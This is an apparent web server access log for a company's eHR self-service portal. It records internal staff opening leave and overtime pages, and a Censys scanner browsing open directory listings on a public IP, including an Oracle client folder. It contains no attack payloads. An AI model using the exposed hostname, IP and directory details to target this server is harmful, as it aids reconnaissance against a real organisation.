(KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [02/Dec/2025:13:45:13 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23591814782901888 HTTP/1.1" 200 10987 192.168.11.157 - - [02/Dec/2025:13:45:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4195 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [02/Dec/2025:13:45:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4195 192.168.11.144 - - [02/Dec/2025:13:45:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:45:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [02/Dec/2025:13:45:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:45:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [02/Dec/2025:13:45:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:45:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [02/Dec/2025:13:45:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:45:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 192.168.11.144 - - [02/Dec/2025:13:45:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:45:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 192.168.11.144 - - [02/Dec/2025:13:45:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:45:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 192.168.11.144 - - [02/Dec/2025:13:45:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:45:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 192.168.11.144 - - [02/Dec/2025:13:46:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12085 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:46:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12085 192.168.11.144 - - [02/Dec/2025:13:46:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11302 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:46:38 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11302 192.168.12.64 - - [02/Dec/2025:13:46:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:46:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.64 - - [02/Dec/2025:13:46:55 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5451247607898658 HTTP/1.1" 200 55332 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:46:55 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5451247607898658 HTTP/1.1" 200 55332 192.168.12.64 - - [02/Dec/2025:13:47:02 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5451247607898658 HTTP/1.1" 200 57509 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5451247607898658" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:47:02 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5451247607898658 HTTP/1.1" 200 57509 192.168.11.144 - - [02/Dec/2025:13:47:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 10507 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:47:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 10507 192.168.11.144 - - [02/Dec/2025:13:47:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11284 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:47:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11284 192.168.12.64 - - [02/Dec/2025:13:47:48 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4215 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:47:48 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4215 192.168.11.144 - - [02/Dec/2025:13:47:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11290 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:47:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11290 192.168.12.64 - - [02/Dec/2025:13:47:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 54473 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:47:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 54473 192.168.12.64 - - [02/Dec/2025:13:48:06 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 58922 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:48:06 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 58922 192.168.12.64 - - [02/Dec/2025:13:48:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:48:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.144 - - [02/Dec/2025:13:48:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11290 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:48:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11290 192.168.12.64 - - [02/Dec/2025:13:48:41 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6312009179132684 HTTP/1.1" 200 55332 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:48:41 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6312009179132684 HTTP/1.1" 200 55332 192.168.11.144 - - [02/Dec/2025:13:48:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11296 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:13:48:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11296 192.168.12.64 - - [02/Dec/2025:13:48:57 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6312009179132684 HTTP/1.1" 200 57509 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6312009179132684" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:48:57 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6312009179132684 HTTP/1.1" 200 57509 192.168.12.64 - - [02/Dec/2025:13:49:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4212 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:49:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4212 192.168.12.64 - - [02/Dec/2025:13:49:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 54473 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:49:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 54473 192.168.12.64 - - [02/Dec/2025:13:50:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 60046 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:50:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 60046 192.168.12.64 - - [02/Dec/2025:13:50:20 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=120329 HTTP/1.1" 200 5802 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:50:20 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=120329 HTTP/1.1" 200 5802 192.168.12.64 - - [02/Dec/2025:13:50:50 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=120076 HTTP/1.1" 200 5821 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:50:50 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=viewflowchart&apply_type=absence&flow_seqno=120076 HTTP/1.1" 200 5821 192.168.12.64 - - [02/Dec/2025:13:50:50 +0800] "GET /eHR/img/workflow/end_approve.png HTTP/1.1" 200 2362 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:50:50 +0800] "GET /eHR/img/workflow/end_approve.png HTTP/1.1" 200 2362 192.168.12.64 - - [02/Dec/2025:13:51:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE000&appdesc=%E5%8A%A9%E7%90%86%E6%A1%8C%E9%9D%A2 HTTP/1.1" 200 3406 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [02/Dec/2025:13:51:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE000&appdesc=%E5%8A%A9%E7%90%86%E6%A1%8C%E9%9D%A2 HTTP/1.1" 200 3406 192.168.11.60 - - [02/Dec/2025:14:02:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:14:02:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:14:02:16 +0800] "GET /eHR/ess HTTP/1.1" 301 241 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:14:02:16 +0800] "GET /eHR/ess HTTP/1.1" 301 241 192.168.11.60 - - [02/Dec/2025:14:02:16 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:14:02:16 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 192.168.11.60 - - [02/Dec/2025:14:02:16 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:14:02:16 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 100.64.0.1 - - [02/Dec/2025:14:03:03 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:14:03:03 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [02/Dec/2025:14:03:04 +0800] "GET /idcard HTTP/1.1" 301 242 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:14:03:04 +0800] "GET /idcard HTTP/1.1" 301 242 100.64.0.1 - - [02/Dec/2025:14:03:05 +0800] "GET /idcard/ HTTP/1.1" 200 649 "http://202.111.43.170:8088/idcard" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:14:03:05 +0800] "GET /idcard/ HTTP/1.1" 200 649 100.64.0.1 - - [02/Dec/2025:14:03:06 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:14:03:06 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 266 100.64.0.1 - - [02/Dec/2025:14:03:09 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://202.111.43.170:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:14:03:09 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 100.64.0.1 - - [02/Dec/2025:14:03:10 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 290 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:14:03:10 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 290 100.64.0.1 - - [02/Dec/2025:14:03:11 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 "http://202.111.43.170:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:14:03:11 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/ HTTP/1.1" 200 399 100.64.0.1 - - [02/Dec/2025:14:03:12 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2 HTTP/1.1" 301 309 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:14:03:12 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2 HTTP/1.1" 301 309 100.64.0.1 - - [02/Dec/2025:14:03:13 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/ HTTP/1.1" 200 2241 "http://202.111.43.170:8088/Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:14:03:13 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/ HTTP/1.1" 200 2241 100.64.0.1 - - [02/Dec/2025:14:03:15 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [02/Dec/2025:14:03:15 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [02/Dec/2025:14:03:16 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9 HTTP/1.1" 301 313 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [02/Dec/2025:14:03:16 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0/instantclient_11_2/vc9 